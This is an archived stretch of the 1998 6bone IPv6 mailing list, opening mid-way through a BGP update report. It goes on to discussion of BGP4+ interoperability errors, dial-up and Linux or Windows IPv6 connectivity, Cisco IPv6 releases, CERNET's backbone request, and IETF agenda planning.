>  561 5609 5623 559 (4)
>  ...Truncated...
>
>3. RCCN (3ffe:2024:1800::2/126) had 3773 BGP+ updates (14 unique aspaths)
>  1225 1275 559 1930 (1044)
>  1225 1275 1717 137 559 1930 (751)
>  109 1849 7610 10566 1930 (705)
>  109 1225 1275 559 1930 (673)
>  1225 1275 1103 1849 3251 1930 (320)
>  1225 8664 1835 1849 3251 1930 (127)
>  7610 10566 1930 (40)
>  109 1225 1275 1717 137 559 1930 (17)
>  7610 1849 109 1225 1275 1717 137 559 1930 (14)
>  7610 1849 109 1225 1275 559 1930 (14)
>  109 1225 1275 1103 1849 3251 1930 (10)
>  ...Truncated...
>
>4. SMS (3ffe:2600::/24) had 3428 BGP+ updates (39 unique aspaths)
>  1225 6175 1930 559 5623 1103 3274 (600)
>  109 6175 1930 559 5623 1103 3274 (551)
>  1225 1275 559 5623 1103 3274 (550)
>  2500 109 6175 1930 559 5623 1103 3274 (548)
>  109 1225 1275 559 5623 1103 3274 (547)
>  2500 109 1225 1275 559 5623 1103 3274 (508)
>  7610 1849 6175 1930 559 5623 1103 3274 (18)
>  7610 10566 1930 559 5623 1103 3274 (17)
>  7610 5623 6175 3274 (8)
>  561 5609 137 559 5623 1103 3274 (6)
>  7610 10566 6175 3274 (5)
>  ...Truncated...
>
>5. UL (3ffe:1b01::/32) had 2988 BGP+ updates (10 unique aspaths)
>  1225 1275 559 1930 (1337)
>  7610 10566 1930 (44)
>  2500 109 237 10566 1930 (3)
>  561 10566 1930 (2)
>  2500 5623 7610 10566 1930 (1)
>  10566 5408 8253 137 559 1930 (1)
>  109 1849 7610 10566 1930 (1)
>  10566 1930 (1)
>  109 1225 237 10566 1930 (1)
>  1225 109 237 10566 1930 (1)
>
>

-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagénie inc.			| http://www.viagenie.qc.ca
3107 des hôtels		| tél.: 418-656-9254 
Ste-Foy, Québec		| fax.: 418-656-0183
Canada, G1W 4W5		| radio: VA2-JAZ
------------------------------------------------------------
pgp :57 86 A6 83 D3 A8 58 32 F7 0A BB BD 5F B2 4B A7
------------------------------------------------------------
Auteur du livre TCP/IP Simplifié, Éditions Logiques, 1997
------------------------------------------------------------

From 6bone-owner  Fri Oct  9 09:28:28 1998
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Date: Fri, 9 Oct 1998 12:26:56 -0400 (EDT)
From: Robert Rockell <rrockell@sprint.net>
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Reply-To: Robert Rockell <rrockell@sprint.net>
To: 6bone@ISI.EDU
Subject: gated/v6 compatibility issues.
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Has anyone ever run into any compatibility issues between gated and cisco 0519 code?
Gated side is seeing problems with optional attributes, but I am only sending AS_PATH
info.  On the cisoc side, debug only show session go into open-active state, and then
reset, without any icmp information. Any insight woudl be appreciated. error log from
Gated below:


Oct  9 18:30:00 6bone gated[78]: NOTIFICATION received from 3ffe:2900:a:b::1 (External AS

6175): code 3 (Update Message Error) subcode 1 (invalid attribute list) data 00 02 01 10
3f 
fe

Oct  9 18:31:05 6bone gated[78]: bgp4+_recv_reach: peer 3ffe:2900:a:b::1 (External AS
6175) 
attribute too short (2 < 6207)
Oct  9 18:31:05 6bone gated[78]: NOTIFICATION sent to 3ffe:2900:a:b::1 (External AS
6175): 
code 3 (Update Message Error) subcode 9 (error with optional attribute) data

this is a tunnel interface, which I don't believe should make any difference.





With BGP4+, are attributes mapped in the same way as bgp4 (v4)? there don't appear to be
any optional attributes being passed.




Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833



From 6bone-owner  Mon Oct 19 07:06:51 1998
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From: stefan@cps-i.nl (Stefan Baltus)
Subject: Tunnel
To: 6bone@ISI.EDU
Date: Mon, 19 Oct 1998 15:51:10 +0200 (MET DST)
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Hi 6bone-folk,

A year ago, our company had a 6bone tunnel through Surfnet, the Netherlands.
Surfnet discontinued this tunnel because of subsidy reasons. I am now
looking for another 6bone connected organization that wants to setup
a tunnel to us. We are running solaris 2.5.1.

Thanks,

Stefan Baltus
Internet Aware BV
The Netherlands


From 6bone-owner  Fri Oct 23 06:58:09 1998
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From: Terry Moore-Read (6bone@starstream.co.uk) <6bone@starstream.co.uk>
Subject: 6bone via dialup link
Date: Fri, 23 Oct 1998 14:55:50 +0000
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Hi,

I'm currently connected to the Internet via a dialup isdn link (16 static ip
addresses).

I'm looking into the possibility of connecting to the 6bone in some way via
this link.

Has anybody tried this ?  

Regards


Terry Moore-Read
6bone@starstream.co.uk

From 6bone-owner  Fri Oct 23 08:12:48 1998
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Message-ID: <01BDFE76.130DA7E0.hansolofalcon@worldnet.att.net>
From: Gregg Levine <hansolofalcon@worldnet.att.net>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: Dial-up Lines, ISPs and other problems
Date: Fri, 23 Oct 1998 11:03:25 -0400
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Hello from Gregg Levine at Jedi Knight Computers:
My company, Jedi Knight Computers, is making plans to participate in the 
IPv6 testing process, and of course to work with the fellows here at the 
6bone site. However I have a number of questions:
1) Has anyone heard if, the ISP AT&T Worldnet is planning on making itself 
available for that work?
2) Is there anyone using an ordinary  dial-up line from his site to 
participate?
3) And this goes with 2): What software is being used for such work?
Please feel free to send me directly any answers, comments, or just plain 
anything.
Gregg Levine hansolofalcon@worldnet.att.net
~~This Signature supports the Rebel Alliance to Restore The Republic~~
"They were in the wrong place at the wrong time, naturally they became 
heroes"
Princess Leia Organa of Alderaan, Senator


From 6bone-owner  Fri Oct 23 09:54:52 1998
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Date: Fri, 23 Oct 1998 18:54:46 +0200
To: Terry Moore-Read (6bone@starstream.co.uk) <6bone@starstream.co.uk>
From: Peter Bieringer <list4peter@et92.unibw-muenchen.de>
Subject: Re: 6bone via dialup link
Cc: 6bone@ISI.EDU
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At 14:55 23.10.98 +0000, 6bone@starstream.co.uk wrote:
>Hi,
>
>I'm currently connected to the Internet via a dialup isdn link (16 static ip
>addresses).
>
>I'm looking into the possibility of connecting to the 6bone in some way via
>this link.
>
>Has anybody tried this ?  
I'm using the method described here:
http://www.bieringer.de/linux/IPv6/sitctrl/default.html

It's for dynamic IPv4 addresses, for static it's much easier.

Peter


From 6bone-owner  Fri Oct 23 10:44:59 1998
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Date: Fri, 23 Oct 1998 10:43:12 -0700
To: pb@bieringer.de
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: 6bone via dialup link
Cc: 6bone@ISI.EDU
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 n.de>
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Peter,

Given the interest in Linux IPv6 and PPP, I've put a pointer to your pages on the 6bone home page.


Thanks,

Bob


At 06:54 PM 10/23/98 +0200, Peter Bieringer wrote:
>At 14:55 23.10.98 +0000, 6bone@starstream.co.uk wrote:
>>Hi,
>>
>>I'm currently connected to the Internet via a dialup isdn link (16 static ip
>>addresses).
>>
>>I'm looking into the possibility of connecting to the 6bone in some way via
>>this link.
>>
>>Has anybody tried this ?  
>I'm using the method described here:
>http://www.bieringer.de/linux/IPv6/sitctrl/default.html
>
>It's for dynamic IPv4 addresses, for static it's much easier.
>
>Peter


From 6bone-owner  Fri Oct 23 13:24:33 1998
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Date: Fri, 23 Oct 1998 22:26:04 +0200
To: bernhard@kroenung.de
From: Patrick Grossetete <pgrosset@cisco.com>
Subject: IPv6 on CISCO IOS 12.x
Cc: ipv6-wg@ripe.net, 6bone@ISI.EDU, mmcneali@europe.cisco.com
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	Dear Bernhard,

	As being in charge of Cisco EMEA IPv6 Technology program,
I would like to clarify your statment below. It is true that
today Cisco is providing in Europe, a Cisco IOS image supporting
IPv6 currently based on IOS 11.3.(2)T to selected customers
from academic and ISP sites under Non Disclosure Agreement.
But so far, we don't expect to provide general availability of
IPv6 for production network before sometimes in CY99. This will 
be based on Cisco IOS 12.0T but certainly not for IOS 12.0.(1)T.
We may also have an easier access for the same selected customers
through our web but we are still finalizing it.
If you have a special need for our current IPv6 image and you
are based in Europe which is obviously the case, you may send
me an e-mail.

Best regards
Patrick

>>>At 10:48 AM 10/22/98 -0700, Bob Fink wrote:
>>>>>To: 6bone@isi.edu
>>>>>Date: Thu, 22 Oct 1998 08:50:42 +0200 (MET DST)
>>>>>Cc: ipv6-wg@ripe.net
>>>>>
>>>>>I do not know if cisco announced this on an official list - but I got the
>>>>>information about a new Version of their IOS supporting IPv6 in a "public"
>>>>>release with no beta-status.
>>>>>
>>>>>The new IOS 12.0 will be out in mid-november.
>>>>>
>>>>>  Ciao
>>>>>    Bernhard
>>>>>-- 
>>>>>Bernhard Kroenung, Bahnhofstr 8, 36157 Ebersburg/Rhoen, Germany +49 6656 
>>>910101
>>>>>@work : bernhard@kroenung.de                              Work: +49 661 
>>>9011777
>>>>>@home : horke@Rhoen.De       @school : 
>>>Bernhard.Kroenung@Informatik.FH-Fulda.De

_____________________________________________________________ 
Patrick Grossetete 
Consulting Engineer             *                               * 
Cisco Systems EMEA              *      |            |           * 
Phone/Vmail: 33.1.6918 6152     *     |||          |||          * 
        Fax: 33.1.6928 8326             *    |||||        |||||         * 
     mobile: 33.6.0773 7360     * .:||||||||:...:|||||||:.      * 
    Email:pgrosset@cisco.com    * Cisco Systems         * 
                                *        EMEA           * 
_____________________________________________________________ 

From 6bone-owner  Fri Oct 23 16:39:54 1998
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Message-ID: <01BDFEBC.F4E384A0.hansolofalcon@worldnet.att.net>
From: Gregg Levine <hansolofalcon@worldnet.att.net>
To: "'Jeff Taylor'" <jefft@ou.edu>
Cc: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: RE: Dial-up Lines, ISPs and other problems
Date: Fri, 23 Oct 1998 19:35:51 -0400
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On Friday, October 23, 1998 2:25 PM, Jeff Taylor [SMTP:jefft@ou.edu] wrote:
> Greg,
>
> You should start with contacting your ISP. How do you expect the
> participants on this list to know specific corporate plans of your ISP?
>
> Jeff Taylor
>
> At 11:03 AM 10/23/98 -0400, you wrote:
> >Hello from Gregg Levine at Jedi Knight Computers:
> >My company, Jedi Knight Computers, is making plans to participate in the 
> >IPv6 testing process, and of course to work with the fellows here at the 
> >6bone site. However I have a number of questions:
> >1) Has anyone heard if, the ISP AT&T Worldnet is planning on making 
itself
> >available for that work?
> >2) Is there anyone using an ordinary  dial-up line from his site to
> >participate?
> >3) And this goes with 2): What software is being used for such work?
> >Please feel free to send me directly any answers, comments, or just 
plain
> >anything.
> >Gregg Levine hansolofalcon@worldnet.att.net
> >~~This Signature supports the Rebel Alliance to Restore The Republic~~
> >"They were in the wrong place at the wrong time, naturally they became
> >heroes"
> >Princess Leia Organa of Alderaan, Senator
Hello Jeff Taylor from Gregg Levine at Jedi Knight Computers:
Yes, of course. The problem is that the ISP, is still trying to find the 
intelligent ones to answer the questions real computer users ask them. 
We'll probably be doing that, in the next several weeks, after the budget 
is finalized for this project. Please feel free to send me directly any 
answers, comments, or just plain anything.
Gregg Levine hansolofalcon@worldnet.att.net
~~This Signature supports the Rebel Alliance to Restore The Republic~~
"They were in the wrong place at the wrong time, naturally they became 
heroes"

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From 6bone-owner  Fri Oct 23 17:52:07 1998
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From: Gregg Levine <hansolofalcon@worldnet.att.net>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Date: Fri, 23 Oct 1998 20:49:24 -0400
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Hello from Gregg Levine at Jedi Knight Computers:
Some news for everyone, and anyone who read my earlier posts: The ISP(AT&T 
Worldnet) now supports DSL, I suppose it was only a matter of time. Also, 
as I supposed Bell Atlantic also does, I wonder if the other RBOCs(Regional 
Bell Operating Companies) do, I should hope so, DSL is supposed to be what 
ISDN was. And look where that went!! As always, should anybody wish to 
comment, or complain, or just applaud, please feel free to either contact 
me directly, or post them on this mailing list.
Gregg Levine hansolofalcon@worldnet.att.net
~~This Signature supports the Rebel Alliance to Restore The Republic~~
"They were in the wrong place at the wrong time, naturally they became 
heroes"
Princess Leia Organa of Alderaan, Senator

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From 6bone-owner  Sat Oct 24 09:16:39 1998
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From: Gregg Levine <hansolofalcon@worldnet.att.net>
To: "'jbashir@interzone.org'" <jbashir@interzone.org>
Cc: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: RE: your mail
Date: Sat, 24 Oct 1998 12:13:14 -0400
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On Saturday, October 24, 1998 4:19 AM, jbashir@interzone.org 
[SMTP:jbashir@interzone.org] wrote:
>
>
> ADSL in MN is also available through US West, and RBOC as is most of the
> rest of the US West metro terretories.  One problem/issue is that most
> RBOC implemetations so far are bridged rather than routed, which makes
> things weird witht he IP's, at least a little, nothing that can be fixed,
> or become a non-issue.
>
> One question I have, and I've read the FAQ's and gone to the sites, is 
the
> feasability of IPv6 running parallel with IPv4 on a linux box and
> connecting that to the 6bone... I'm getting mixed feelings about the 
whole
> routing thing.  Can the linux box be an ipv6 tunnel machine into the
> 6bone? Or is there anouther router required?
>
>
Hello from Gregg Levine at Jedi Knight Computers:
If you are running Linux then in all probabilty it should do that. I do not 
know enough about Linux. And I freely admit that I am still learning in the 
Windows world. You should ask the folks who do that sort of thing, on this 
mailing list. This doesn't mean you can not try it, go ahead, I freely 
admit to being curious about something like that.
Gregg Levine hansolofalcon@worldnet.att.net
~~This Signature supports the Rebel Alliance to Restore The Republic~~
"They were in the wrong place at the wrong time, naturally they became 
heroes"
Princess Leia Organa of Alderaan, Senator

 
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From 6bone-owner  Sat Oct 24 17:58:56 1998
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Date: Sat, 24 Oct 1998 17:56:57 -0700
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: pTLA 6bone request for CERNET in Beijing, China
Cc: Chen Maoke <cmk@gloria.ipv6.net.edu.cn>, cxing@ocean.net.edu.cn,
        cmk@6bone.ipv6.net.edu.cn, huanx@6bone.ipv6.net.edu.cn,
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The following request for a pTLA is self explanatory.  Please send any comments on this request either to me (rlfink@lbl.gov) or to the 6bone list.

I will process this (based on comments of course) on Monday, November 9, 1998.


Thanks,

Bob

===
>Date: Sat, 24 Oct 1998 10:18:10 +0800 (CST)
>From: Chen Maoke <cmk@gloria.ipv6.net.edu.cn>
>To: rlfink@lbl.gov
>Subject: pTLA request
>Cc: cxing@ocean.net.edu.cn, cmk@6bone.ipv6.net.edu.cn,
>        huanx@6bone.ipv6.net.edu.cn, nibin@6bone.ipv6.net.edu.cn
>
>Dear Bob,
>
>We are writing to you because CERNET Center in Tsinghua University would 
>like to become one of the 6bone backbone sites. We are showing how CERNET 
>meets the criteria for pTLA assignment below.
>
>China Education and Research NETwork (CERNET) is the most important internet 
>of China in area of education and technology. The network centers (NIC and 
>NOC) of CERNET are laid in Tsinghua University, Beijing. Operating a 
>nation-wide internetwork, CERNET is active in computer networks research and 
>education, especially in next generation internet.  
>
>Information about CERNET: http://www.edu.cn/
>Information about Tsinghua University: http://www.tsinghua.edu.cn/
>
>------------------------------------------------------------------
>Statement of meeting the criteria
>
> 1. Must have experience with IPv6 in the 6bone, at least as a leaf site,
>and preferably as an NLA transit under a pTLA.
>
>  We have begun IPv6 practice since January 1998. Our first ipv6 site -- 
>TH-CERNET
>was registered on 6bone in June 1998. We are experimenting as:
>- NLA network (3FFE:1CF9::/32) under MERIT 
>- leaf site (3FFE:2900:FFF5::/48) under SPRINT
>- leaf site (3FFE:1108:40D::/48) under UUNET-UK
>
>  BGP4+ peers are established with MERIT and SPRINT.
>
>  An address prefix has been assigned for a site below our NLA and the 
>transit service has been provided.
>
>
> 2. Must have the ability and intent to provide "production-like" 6bone
> backbone service to provide a robust and operationally reliable 6bone 
> backbone.
>
>  CERNET Center has five years' experience in constructing and operating a 
>nation-wide internetwork. It has providing the production-like backbone 
>service in the range of education and research in China. There are many 
>professors and post-graduates from Tsinghua University, the most important 
>university in China, working in the NIC or NOC of the CERNET and taking 
>research on computer networks. 
>
>
> 3. Must have a potential "user community" that would be served by becoming
> a pTLA, e.g., the requester is a major player in a region, country or focus
> of interest.
>
>  Today CERNET has connected with over 70 cities in China, over 300 
>universities, colleges, research organizations and schools. There are over 
>150,000 of people using the networks in CERNET everyday.
>
> 
> 4. Must commit to abide by whatever the 6bone backbone operational rules
> and policies are (currently there are no formal ones, but the Alain Duran
> draft is a start in trying to define some).
>
>  CERNET is an active part in international cooperation in networking. We 
>will commit to abide by any 6bone backbone operational rules and policies.
>
>----------------------------------------------------------------------
>
>Thanks,
>
>
>Chen, Maoke
>CERNET Center
>Tsinghua University
>Beijing, 100084
>P R of China


From 6bone-owner  Sun Oct 25 06:07:44 1998
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From: "Allen Baranov" <allen@global.co.za>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: Re: your mail
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jbashir@interzone.org wrote:

> One question I have, and I've read the FAQ's and gone to the sites, is
the
> feasability of IPv6 running parallel with IPv4 on a linux box and
> connecting that to the 6bone... I'm getting mixed feelings about the
whole
> routing thing.  Can the linux box be an ipv6 tunnel machine into the
> 6bone? Or is there anouther router required?
>
>
Hi,
I'm a Linux devotee and I'm about to enter the world of ipv6 as soon as I
get a link to the 6bone. You need to use a kernel in the 2.1 series which
means you are using a development kernel which in tern means that your
system may not be very reliable. ipv6 will be supported in the 2.2 kernel
series (production series - reliable) which is due out sometime early next
year. In other words don't run it on an important mission critical machine
(or wait until next year).

Linux can do ipv6 tunnelling (over ipv4) so you'd just need your connection
to the Internet (ie. ipv4 connection).

There is a good FAQ at
http://www.bieringer.de/linux/IPv6/IPv6-HOWTO/IPv6-HOWTO.html with details
about setting up a Linux ipv6 box from scratch.

Lots of luck,

Allen Baranov


From 6bone-owner  Sun Oct 25 17:52:47 1998
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Reply-To: <bernard@mynet.com.my>
From: "Bernard Cheah" <bernard@mynet.com.my>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: Malaysia
Date: Mon, 26 Oct 1998 09:52:35 +0800
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Dear Sir,

	It's been quite a while I'm on this list.
	I know currently there is just 32++ country in the world 
	are participate in the IPv6 project.
	I'm know my country is not ! but I certainly hope that
	my country will be part of it.

	I just wondering how would I can get involved or get
	more details about this IPv6 project.

	Thanks.


Regards,
Mynet Communications (M) Sdn. Bhd.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Bernard Cheah
(MCP, MCP+I)
Internet Enginner
mailto:bernard@mynet.com.my
Tel:+603-795 1277 
Fax:+603-795 1279 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

From 6bone-owner  Sun Oct 25 19:51:54 1998
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Date: Mon, 26 Oct 1998 14:50:09 +1100
From: Ryan Ruckley <ryan@haltech.com.au>
Organization: Haltech Engine Management Systems
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Hi,
	I'm also a Linux devotee and I'm in the stages of getting my
linux network ipv6 ready. I want to participate in the 6bone also
to do real world testing of the linux ipv6 implementation but I
don't know what the state of the Australia ipv6 presence if any.

The Australia Digital site which was participating seems to have
dissapeared. Does anyone know if there is an IPV6 presence in 
Australia or anywhere close netwise that I can join??

--
Ryan Ruckley
Software Engineer
Invent Engineering

From 6bone-owner  Mon Oct 26 11:03:57 1998
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From: Penelope Baker <penny@newstarresources.com>
Cc: "'6bone@ISI.EDU '" <6bone@ISI.EDU>
Subject: RE: 6bone via dialup link
Date: Mon, 26 Oct 1998 13:59:18 -0500
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Has anybody done this for the Windows platform yet?  Forgive me if I'm
mistaken, but I believe theres a stack that support IPv6 for NT
available from MS research?

Peace,
Penelope
 

-----Original Message-----
From: Bob Fink
To: pb@bieringer.de
Cc: 6bone@ISI.EDU
Sent: 10/23/1998 1:43 PM
Subject: Re: 6bone via dialup link

Peter,

Given the interest in Linux IPv6 and PPP, I've put a pointer to your
pages on the 6bone home page.


Thanks,

Bob


At 06:54 PM 10/23/98 +0200, Peter Bieringer wrote:
>At 14:55 23.10.98 +0000, 6bone@starstream.co.uk wrote:
>>Hi,
>>
>>I'm currently connected to the Internet via a dialup isdn link (16
static ip
>>addresses).
>>
>>I'm looking into the possibility of connecting to the 6bone in some
way via
>>this link.
>>
>>Has anybody tried this ?  
>I'm using the method described here:
>http://www.bieringer.de/linux/IPv6/sitctrl/default.html
>
>It's for dynamic IPv4 addresses, for static it's much easier.
>
>Peter

From 6bone-owner  Mon Oct 26 12:26:06 1998
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From: Richard Draves <richdr@microsoft.com>
To: "'Penelope Baker'" <penny@newstarresources.com>
Cc: "'6bone@ISI.EDU '" <6bone@ISI.EDU>
Subject: RE: 6bone via dialup link
Date: Mon, 26 Oct 1998 12:25:27 -0800
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> Has anybody done this for the Windows platform yet?  Forgive me if I'm
> mistaken, but I believe theres a stack that support IPv6 for NT
> available from MS research?

Yes, see http://research.microsoft.com/msripv6. But we don't yet support PPP
or dial-up links.

Rich

From 6bone-owner  Mon Oct 26 15:20:51 1998
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Message-ID: <01BE010D.4D6638A0.hansolofalcon@worldnet.att.net>
From: Gregg Levine <hansolofalcon@worldnet.att.net>
To: "'Penelope Baker'" <penny@newstarresources.com>
Cc: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: RE: 6bone via dialup link
Date: Mon, 26 Oct 1998 18:19:33 -0500
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Hello from Gregg Levine at Jedi Knight Computers:
Yes indeed there is just such a stack, you can download the sources, or 
even working(!) binaries for WinNT4. I do not know if you plan on 
supporting it on WinNT4 on Intel, or Win95/98, or what, but there it is. If 
you want the url, please write me privately.
Gregg Levine hansolofalcon@worldnet.att.net
~~This Signature supports the Rebel Alliance to Restore The Republic~~
"They were in the wrong place at the wrong time, naturally they became 
heroes"
Princess Leia Organa of Alderaan, Senator

On Monday, October 26, 1998 1:59 PM, Penelope Baker 
[SMTP:penny@newstarresources.com] wrote:
> Has anybody done this for the Windows platform yet?  Forgive me if I'm
> mistaken, but I believe theres a stack that support IPv6 for NT
> available from MS research?
>
> Peace,
> Penelope
>
>
> -----Original Message-----
> From: Bob Fink
> To: pb@bieringer.de
> Cc: 6bone@ISI.EDU
> Sent: 10/23/1998 1:43 PM
> Subject: Re: 6bone via dialup link
>
> Peter,
>
> Given the interest in Linux IPv6 and PPP, I've put a pointer to your
> pages on the 6bone home page.
>
>
> Thanks,
>
> Bob
>
>
> At 06:54 PM 10/23/98 +0200, Peter Bieringer wrote:
> >At 14:55 23.10.98 +0000, 6bone@starstream.co.uk wrote:
> >>Hi,
> >>
> >>I'm currently connected to the Internet via a dialup isdn link (16
> static ip
> >>addresses).
> >>
> >>I'm looking into the possibility of connecting to the 6bone in some
> way via
> >>this link.
> >>
> >>Has anybody tried this ?
> >I'm using the method described here:
> >http://www.bieringer.de/linux/IPv6/sitctrl/default.html
> >
> >It's for dynamic IPv4 addresses, for static it's much easier.
> >
> >Peter
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From 6bone-owner  Mon Oct 26 15:41:24 1998
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From: Penelope Baker <penny@newstarresources.com>
To: "'Richard Draves '" <richdr@microsoft.com>
Cc: "''6bone@ISI.EDU ' '" <6bone@ISI.EDU>
Subject: RE: 6bone via dialup link
Date: Mon, 26 Oct 1998 18:36:54 -0500
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I meant has anybody written up a how-to for Win PPP, but since it's not
supported yet, that answers that.  Thanks!

I'm assuming when it does support dial-up or PPP an announcement will be
posted to this listserv?

Peace,
Penelope
 

-----Original Message-----
From: Richard Draves
To: 'Penelope Baker'
Cc: '6bone@ISI.EDU '
Sent: 10/26/1998 3:25 PM
Subject: RE: 6bone via dialup link

> Has anybody done this for the Windows platform yet?  Forgive me if I'm
> mistaken, but I believe theres a stack that support IPv6 for NT
> available from MS research?

Yes, see http://research.microsoft.com/msripv6. But we don't yet support
PPP
or dial-up links.

Rich

From 6bone-owner  Mon Oct 26 17:32:04 1998
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From: Gregg Levine <hansolofalcon@worldnet.att.net>
To: "'Richard Draves'" <richdr@microsoft.com>
Cc: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: RE: 6bone via dialup link
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Hello Richard Draves from Gregg Levine at Jedi Knight Computers:
Did you by chance see my post? It contains a mention regarding your 
research site, it was my intention to send it, via a private email to the 
lady. Just the same I would rather that you do so, it would seem more 
appropriate that way. Please feel free to write back, with comments, or 
complaints, or what ever.
Gregg Levine hansolofalcon@worldnet.att.net
~~This Signature supports the Rebel Alliance to Restore The Republic~~
"They were in the wrong place at the wrong time, naturally they became 
heroes"
Princess Leia Organa of Alderaan, Senator

On Monday, October 26, 1998 3:25 PM, Richard Draves 
[SMTP:richdr@microsoft.com] wrote:
> > Has anybody done this for the Windows platform yet?  Forgive me if I'm
> > mistaken, but I believe theres a stack that support IPv6 for NT
> > available from MS research?
>
> Yes, see http://research.microsoft.com/msripv6. But we don't yet support 
PPP
> or dial-up links.
>
> Rich
>
> 
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From 6bone-owner  Wed Oct 28 05:58:48 1998
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Date: Wed, 28 Oct 1998 05:55:16 -0800
To: Ryan Ruckley <ryan@haltech.com.au>, 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: IPV6 in Australia
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Ryan,

At 02:50 PM 10/26/98 +1100, Ryan Ruckley wrote:
>Hi,
>	I'm also a Linux devotee and I'm in the stages of getting my
>linux network ipv6 ready. I want to participate in the 6bone also
>to do real world testing of the linux ipv6 implementation but I
>don't know what the state of the Australia ipv6 presence if any.
>
>The Australia Digital site which was participating seems to have
>dissapeared. Does anyone know if there is an IPV6 presence in 
>Australia or anywhere close netwise that I can join??

Take a look at the country list pages for sites on the 6bone:

	http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/bycountry.html

There are several AU sites.


Bob

From 6bone-owner  Fri Oct 30 07:23:01 1998
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Date: Fri, 30 Oct 1998 07:22:17 -0800
To: ngtrans@sunroof.eng.sun.com
From: Bob Fink <rlfink@lbl.gov>
Subject: call for Orlando IETF agenda items
Cc: 6bone@ISI.EDU, Tony Hain <tonyhain@microsoft.com>,
        Bob Gilligan <gilligan@freegate.com>
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We are now planning for the Orlando IETF meetings, so I need input on topics anyone might wish to cover at the ngtrans meeting.

Please send your agenda suggestions either to me privately or to the ngtrans list.


Thanks,

Bob

From 6bone-owner  Fri Oct 30 09:16:55 1998
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To: Bob Fink <rlfink@lbl.gov>
cc: ngtrans@sunroof.eng.sun.com, 6bone@ISI.EDU
Subject: Re: call for Orlando IETF agenda items
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I think it is time for some sort of reccommended filter policy to be
discussed, as most people out there (some of which who perform bad-route
reports, yet don't filter their downstreams) are not using filters in place.
For instance, I make the bad routing report every day in Merit's report, but
my AS never shows up in the route's originating path). 
I don't know if this should be added to the soon-to-be-expired
draft-ietf-ngtrans-6bone-routing-01.tx paper, or put somewhere else, but I
think it is time that this is more strictly enforced.

Filtering via route-map on cisco products works well, but I don't know that
it is widely implemented (Backbone experience, or other reasons). 

If we are going to model the 6bone after real life, I think that this is
going to be a crucial issue (especially if we are going to tackle the
multi-homing problem; without filters, no one is encouraged to work on it,
as both /48's are wandering around the backbone for a downstream in many
instances...)

Just opinions.


Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833

On Fri, 30 Oct 1998, Bob Fink wrote:

->We are now planning for the Orlando IETF meetings, so I need input on topics anyone might wish to cover at the ngtrans meeting.
->
->Please send your agenda suggestions either to me privately or to the ngtrans list.
->
->
->Thanks,
->
->Bob
->



From 6bone-owner  Fri Oct 30 09:29:17 1998
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Date: Fri, 30 Oct 1998 09:28:21 -0800
To: Robert Rockell <rrockell@sprint.net>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: call for Orlando IETF agenda items
Cc: ngtrans@sunroof.eng.sun.com, 6bone@ISI.EDU
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Rob,

At 12:13 PM 10/30/98 -0500, Robert Rockell wrote:
>I think it is time for some sort of reccommended filter policy to be
>discussed, as most people out there (some of which who perform bad-route
>reports, yet don't filter their downstreams) are not using filters in place.
>For instance, I make the bad routing report every day in Merit's report, but
>my AS never shows up in the route's originating path). 
>I don't know if this should be added to the soon-to-be-expired
>draft-ietf-ngtrans-6bone-routing-01.tx paper, or put somewhere else, but I
>think it is time that this is more strictly enforced.
>
>Filtering via route-map on cisco products works well, but I don't know that
>it is widely implemented (Backbone experience, or other reasons). 
>
>If we are going to model the 6bone after real life, I think that this is
>going to be a crucial issue (especially if we are going to tackle the
>multi-homing problem; without filters, no one is encouraged to work on it,
>as both /48's are wandering around the backbone for a downstream in many
>instances...)

I will happily add this to the agenda, and would very much like it discussed.  I would apreciate it if you would present your ideas and background of your point of view in a short (5-10 minute) presentation.


Thanks,

Bob

From 6bone-owner  Fri Oct 30 13:02:53 1998
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Sure. I can do that. Let me know what timeslot I am in.

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833

On Fri, 30 Oct 1998, Bob Fink wrote:

->Rob,
->
->At 12:13 PM 10/30/98 -0500, Robert Rockell wrote:
->>I think it is time for some sort of reccommended filter policy to be
->>discussed, as most people out there (some of which who perform bad-route
->>reports, yet don't filter their downstreams) are not using filters in place.
->>For instance, I make the bad routing report every day in Merit's report, but
->>my AS never shows up in the route's originating path). 
->>I don't know if this should be added to the soon-to-be-expired
->>draft-ietf-ngtrans-6bone-routing-01.tx paper, or put somewhere else, but I
->>think it is time that this is more strictly enforced.
->>
->>Filtering via route-map on cisco products works well, but I don't know that
->>it is widely implemented (Backbone experience, or other reasons). 
->>
->>If we are going to model the 6bone after real life, I think that this is
->>going to be a crucial issue (especially if we are going to tackle the
->>multi-homing problem; without filters, no one is encouraged to work on it,
->>as both /48's are wandering around the backbone for a downstream in many
->>instances...)
->
->I will happily add this to the agenda, and would very much like it discussed.  I would apreciate it if you would present your ideas and background of your point of view in a short (5-10 minute) presentation.
->
->
->Thanks,
->
->Bob
->


From 6bone-owner  Fri Oct 30 13:27:02 1998
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Date: Fri, 30 Oct 1998 13:25:44 -0800
To: Robert Rockell <rrockell@sprint.net>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: call for Orlando IETF agenda items
Cc: ngtrans@sunroof.eng.sun.com, 6bone@ISI.EDU
In-Reply-To: <Pine.GSO.3.95.981030160018.25271B-100000@iscserv.res.sprin
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At 04:00 PM 10/30/98 -0500, Robert Rockell wrote:
>Sure. I can do that. Let me know what timeslot I am in.

Great, you are on the agenda.


Bob

===
